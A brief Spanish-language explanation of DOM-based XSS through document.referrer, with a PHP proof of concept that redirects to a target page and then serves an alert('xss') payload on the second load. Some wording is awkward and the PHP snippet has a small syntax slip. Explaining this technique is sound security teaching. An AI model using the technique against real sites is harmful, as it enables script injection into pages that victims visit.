El siguiente código es vulnerable a XSS basado en DOM, porque el navegador rastrea el valor controlado por el atacante document.referrer :
<script src="' + document.referrer + '"></script>
El código anterior puede explotarse utilizando una página que, al cargarse por primera vez, redirige el navegador a su destino, en la segunda carga devuelve una carga útil XSS. Una forma de hacerlo es verificando el referente en el lado del servidor:
<?php
if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
print "alert('xss')";
}else{
header("location: http://target.com/xss")
}
?>
Cuando se cargue la página enlace , javascript de document.referer lo hará cargar alerta ('xss') .